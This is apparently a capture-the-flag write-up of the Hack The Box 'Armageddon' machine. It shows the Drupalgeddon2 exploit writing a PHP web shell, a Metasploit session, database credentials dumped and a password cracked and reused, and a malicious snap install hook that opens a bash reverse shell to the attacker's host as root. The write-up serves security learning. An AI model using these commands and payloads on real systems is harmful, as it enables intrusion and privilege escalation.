Recon to foothold

Scan scan scan!

rob:Armageddon/ $ nmap -A -T4 -p- -v 10.10.10.233
Starting Nmap 7.91 ( https://nmap.org ) at 2021-05-24 12:34 BST
NSE: Loaded 153 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 12:34
Completed NSE at 12:34, 0.00s elapsed
Initiating NSE at 12:34
Completed NSE at 12:34, 0.00s elapsed
Initiating NSE at 12:34
Completed NSE at 12:34, 0.00s elapsed
Initiating Ping Scan at 12:34
Scanning 10.10.10.233 [2 ports]
Completed Ping Scan at 12:34, 0.03s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 12:34
Completed Parallel DNS resolution of 1 host. at 12:34, 0.03s elapsed
Initiating Connect Scan at 12:34
Scanning 10.10.10.233 [65535 ports]
Discovered open port 80/tcp on 10.10.10.233
Discovered open port 22/tcp on 10.10.10.233
Completed Connect Scan at 12:34, 10.48s elapsed (65535 total ports)
Initiating Service scan at 12:34
Scanning 2 services on 10.10.10.233
Completed Service scan at 12:34, 6.27s elapsed (2 services on 1 host)
NSE: Script scanning 10.10.10.233.
Initiating NSE at 12:34
Completed NSE at 12:34, 1.88s elapsed
Initiating NSE at 12:34
Completed NSE at 12:34, 0.32s elapsed
Initiating NSE at 12:34
Completed NSE at 12:34, 0.00s elapsed
Nmap scan report for 10.10.10.233
Host is up (0.025s latency).
Not shown: 65533 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey: 
|   2048 82:c6:bb:c7:02:6a:93:bb:7c:cb:dd:9c:30:93:79:34 (RSA)
|   256 3a:ca:95:30:f3:12:d7:ca:45:05:bc:c7:f1:16:bb:fc (ECDSA)
|_  256 7a:d4:b3:68:79:cf:62:8a:7d:5a:61:e7:06:0f:5f:33 (ED25519)
80/tcp open  http    Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)
|_http-favicon: Unknown favicon MD5: 1487A9908F898326EBABFFFD2407920D
|_http-generator: Drupal 7 (http://drupal.org)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
| http-robots.txt: 36 disallowed entries (15 shown)
| /includes/ /misc/ /modules/ /profiles/ /scripts/ 
| /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt 
| /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt 
|_/LICENSE.txt /MAINTAINERS.txt
|_http-server-header: Apache/2.4.6 (CentOS) PHP/5.4.16
|_http-title: Welcome to  Armageddon |  Armageddon

NSE: Script Post-scanning.
Initiating NSE at 12:34
Completed NSE at 12:34, 0.00s elapsed
Initiating NSE at 12:34
Completed NSE at 12:34, 0.00s elapsed
Initiating NSE at 12:34
Completed NSE at 12:34, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 19.44 seconds

Alright, so we have an SSH service on port 22 and an Apache web server on port 80 running Drupal c1fe835e80a52b7b9ca86f7510055b21.png

There is an option to create a new account, but it doesn’t seem to be functional in this instance given that it messages the administrator for approval

Doing some googling to learn about Drupal we find this, Drupalgeddon2, which seems like a good tie in with the box name apart from anything else

The exploit uses CVE-2018-7600 which says

Drupal before 7.58, 8.x before 8.3.9, 8.4.x before 8.4.6, and 8.5.x before 8.5.1 allows remote attackers to execute arbitrary code because of an issue affecting multiple subsystems with default or common module configuration

From our nmap scan we can see we have Drupal 7, so that seems like a good fit. Let’s give it a go

rob:Drupalgeddon2/ (master) $ ruby drupalgeddon2.rb http://10.10.10.233/
[*] --==[::#Drupalggedon2::]==--
--------------------------------------------------------------------------------
[i] Target : http://10.10.10.233/
--------------------------------------------------------------------------------
[+] Found  : http://10.10.10.233/CHANGELOG.txt    (HTTP Response: 200)
[+] Drupal!: v7.56
--------------------------------------------------------------------------------
[*] Testing: Form   (user/password)
[+] Result : Form valid
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
[*] Testing: Clean URLs
[!] Result : Clean URLs disabled (HTTP Response: 404)
[i] Isn't an issue for Drupal v7.x
--------------------------------------------------------------------------------
[*] Testing: Code Execution   (Method: name)
[i] Payload: echo UEHEEXTD
[+] Result : UEHEEXTD
[+] Good News Everyone! Target seems to be exploitable (Code execution)! w00hooOO!
--------------------------------------------------------------------------------
[*] Testing: Existing file   (http://10.10.10.233/shell.php)
[!] Response: HTTP 200 // Size: 6.   ***Something could already be there?***
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
[*] Testing: Writing To Web Root   (./)
[i] Payload: echo PD9waHAgaWYoIGlzc2V0KCAkX1JFUVVFU1RbJ2MnXSApICkgeyBzeXN0ZW0oICRfUkVRVUVTVFsnYyddIC4gJyAyPiYxJyApOyB9 | base64 -d | tee shell.php
[+] Result : <?php if( isset( $_REQUEST['c'] ) ) { system( $_REQUEST['c'] . ' 2>&1' ); }
[+] Very Good News Everyone! Wrote to the web root! Waayheeeey!!!
--------------------------------------------------------------------------------
[i] Fake PHP shell:   curl 'http://10.10.10.233/shell.php' -d 'c=hostname'
armageddon.htb>> id
uid=48(apache) gid=48(apache) groups=48(apache) context=system_u:system_r:httpd_t:s0

Excellent, it worked!

We don’t have a genuine shell here, but it’s usable and we can use it to upgrade to a full shell. First let’s do a little manual enumeration

  • We have one non-root user with a shell, brucetherealadmin
  • We’re not able to see the files in /home or below though
armageddon.htb>> ls -la /home
ls: cannot open directory /home: Permission denied
armageddon.htb>> ls -lad /home
drwxr-xr-x. 3 root root 31 Dec  3 15:45 /home

We can check acls too in case that’s keeping us out

armageddon.htb>> getfacl /home
getfacl: Removing leading '/' from absolute path names
# file: home
# owner: root
# group: root
user::rwx
group::r-x
other::r-x

And no, that’s not responsible either!

  • It looks very much like we are in a container although an attempt has been made to obfuscate that (deleting /.docker for example)
  • As we work through this there are a few challenges, we are not able to create an upgradeable reverse shell, there is definitely some network filtering happening, and perhaps more complete WAF functionality as trying to reach port 80 doesn’t work for a shell while we can reach a web server

Metasploit has a Drupalgeddon2 module, let’s try that

msf6 exploit(unix/webapp/drupal_drupalgeddon2) > exploit

[*] Started reverse TCP handler on 10.10.14.8:4444 
[*] Executing automatic check (disable AutoCheck to override)
[+] The target is vulnerable.
[*] Sending stage (39282 bytes) to 10.10.10.233
[*] Meterpreter session 1 opened (10.10.14.8:4444 -> 10.10.10.233:39890) at 2021-05-24 20:00:28 +0100

meterpreter > sysinfo
Computer    : armageddon.htb
OS          : Linux armageddon.htb 3.10.0-1160.6.1.el7.x86_64 #1 SMP Tue Nov 17 13:59:11 UTC 2020 x86_64
Meterpreter : php/linux

Ok, we’re in with a meterpreter session. Let’s see how we get on from here

In the /var/www/html/sites/default/settings.php file we can find details of the database credentials

$databases = array (
  'default' => 
  array (
    'default' => 
    array (
      'database' => 'drupal',
      'username' => 'drupaluser',
      'password' => 'CQHEy@9M*m23gBVj',
      'host' => 'localhost',
      'port' => '',
      'driver' => 'mysql',
      'prefix' => '',
    ),
  ),
);

Let’s see if we can connect to that mysql instance and find anything interesting

mysql -D drupal -u drupaluser -pCQHEy@9M*m23gBVj -e 'show tables;' | grep user
shortcut_set_users
users
users_roles
mysql -D drupal -u drupaluser -pCQHEy@9M*m23gBVj -e 'select * from users;'
uid	name	pass	mail	theme	signature	signature_format	created	access	login	status	timezone	language	picture	init	data
0						NULL	0	0	0	0	NULL		0		NULL
1	brucetherealadmin	$S$DgL2gjv6ZtxBo6CdqZEyJuBphBmrCqIV6W97.oOsUf1xAhaadURt	admin@armageddon.eu			filtered_html	1606998756	1607077194	1607076276	1	Europe/London		0	admin@armageddon.eu	a:1:{s:7:"overlay";i:1;}
3	allfun	$S$Dx3DgM5aOgUQNmPtb13LzZUkOj6GQZ8lw6vpKOVrL1dwMCrtg1Su	allfun@me.com			filtered_html	1621856841	0	0	0	Europe/London		0	allfun@me.com	NULL
4	allfun2	$S$DiRk0Ki8vRAb.IE3u7trKCmgQ/8LIIto.qnhwnkswCZzw.JwX9P3	allfun2@me.com			filtered_html	1621856958	0	0	0	Europe/London		0	allfun2@me.com	NULL

Ok, we find a hash for brucetherealadmin which we can hopefully crack with john

rob:Armageddon/ $ echo -n '$S$DgL2gjv6ZtxBo6CdqZEyJuBphBmrCqIV6W97.oOsUf1xAhaadURt' > brucetherealadmin.hash
rob:Armageddon/ $ john brucetherealadmin.hash -w=/usr/share/wordlists/rockyou.txt 
Using default input encoding: UTF-8
Loaded 1 password hash (Drupal7, $S$ [SHA512 256/256 AVX2 4x])
Cost 1 (iteration count) is 32768 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
booboo           (?)
1g 0:00:00:00 DONE (2021-05-24 21:07) 2.941g/s 752.9p/s 752.9c/s 752.9C/s tiffany..freedom
Use the "--show" option to display all of the cracked passwords reliably
Session completed

Now, we have website creds, brucetherealadmin:booboo, but let’s check if Bruce likes to reuse his credentials

rob:Armageddon/ $ ssh brucetherealadmin@10.10.10.233
The authenticity of host '10.10.10.233 (10.10.10.233)' can't be established.
ECDSA key fingerprint is SHA256:bC1R/FE5sI72ndY92lFyZQt4g1VJoSNKOeAkuuRr4Ao.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.10.233' (ECDSA) to the list of known hosts.
brucetherealadmin@10.10.10.233's password: 
Last login: Fri Mar 19 08:01:19 2021 from 10.10.14.5
[brucetherealadmin@armageddon ~]$ 

Yes he does! We’re in, let’s see if we can grab the user flag now

[brucetherealadmin@armageddon ~]$ cat user.txt 
`REDACTED`

Privesc to root

Let’s start by seeing if user brucetherealadmin has any sudo rights

[brucetherealadmin@armageddon ~]$ sudo -l
Matching Defaults entries for brucetherealadmin on armageddon:
    !visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin, env_reset,
    env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS", env_keep+="MAIL PS1 PS2 QTDIR
    USERNAME LANG LC_ADDRESS LC_CTYPE", env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT
    LC_MESSAGES", env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE",
    env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY",
    secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin

User brucetherealadmin may run the following commands on armageddon:
    (root) NOPASSWD: /usr/bin/snap install *

Excellent, we have a sudo exploit for snap in GTFOBins, let’s try using that. First we must install fpm on our attack machine

rob:Armageddon/ $ sudo gem install --no-document fpm
[sudo] password for rob: 
Fetching io-like-0.3.1.gem
Fetching mustache-0.99.8.gem
--snip--
Successfully installed backports-3.21.0
Successfully installed arr-pm-0.0.10
Successfully installed fpm-1.12.0
14 gems installed

And now we can generate a malicious package

rob:Armageddon/ $ COMMAND='/bin/bash -p'
rob:Armageddon/ $ cd $(mktemp -d)
rob:tmp.IBfIxgoOot/ $ mkdir -p meta/hooks
rob:tmp.IBfIxgoOot/ $ printf '#!/bin/sh\n%s; false' "$COMMAND" >meta/hooks/install
rob:tmp.IBfIxgoOot/ $ chmod +x meta/hooks/install
rob:tmp.IBfIxgoOot/ $ fpm -n xxxx -s dir -t snap -a all meta
Created package {:path=>"xxxx_1.0_all.snap"}

Now if we transfer this to the target we should be able to get a root shell

[brucetherealadmin@armageddon ~]$ sudo -u root /usr/bin/snap install xxxx_1.0_all.snap --dangerous --devmode
error: cannot perform the following tasks:
- Run install hook of "xxxx" snap if present (run hook "install": exit status 1)

Oh dear, that’s not supposed to happen!!

Confusingly when we try again with the example used in GTFOBins, COMMAND=id, we get an output that seems to have both the same error and command execution

[brucetherealadmin@armageddon ~]$ sudo snap install xxxx_1.0_all.snap --dangerous --devmode
error: cannot perform the following tasks:
- Run install hook of "xxxx" snap if present (run hook "install": uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:unconfined_service_t:s0)

So it appears that it is executing the command, let’s try for a reverse shell then. We generate the .snap file with COMMAND='bash -c "bash -i >& /dev/tcp/10.10.14.8/80 0>&1"' and run it as before

rob:~/ $ nc -lvnp 80                                   
listening on [any] 80 ...
connect to [10.10.14.8] from (UNKNOWN) [10.10.10.233] 54278
bash: cannot set terminal process group (11934): Inappropriate ioctl for device
bash: no job control in this shell
bash-4.3# id
uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:unconfined_service_t:s0

And we catch a root shell in our waiting listener

Let’s finish up by collecting the root flag then

bash-4.3# cat root.txt
`REDACTED`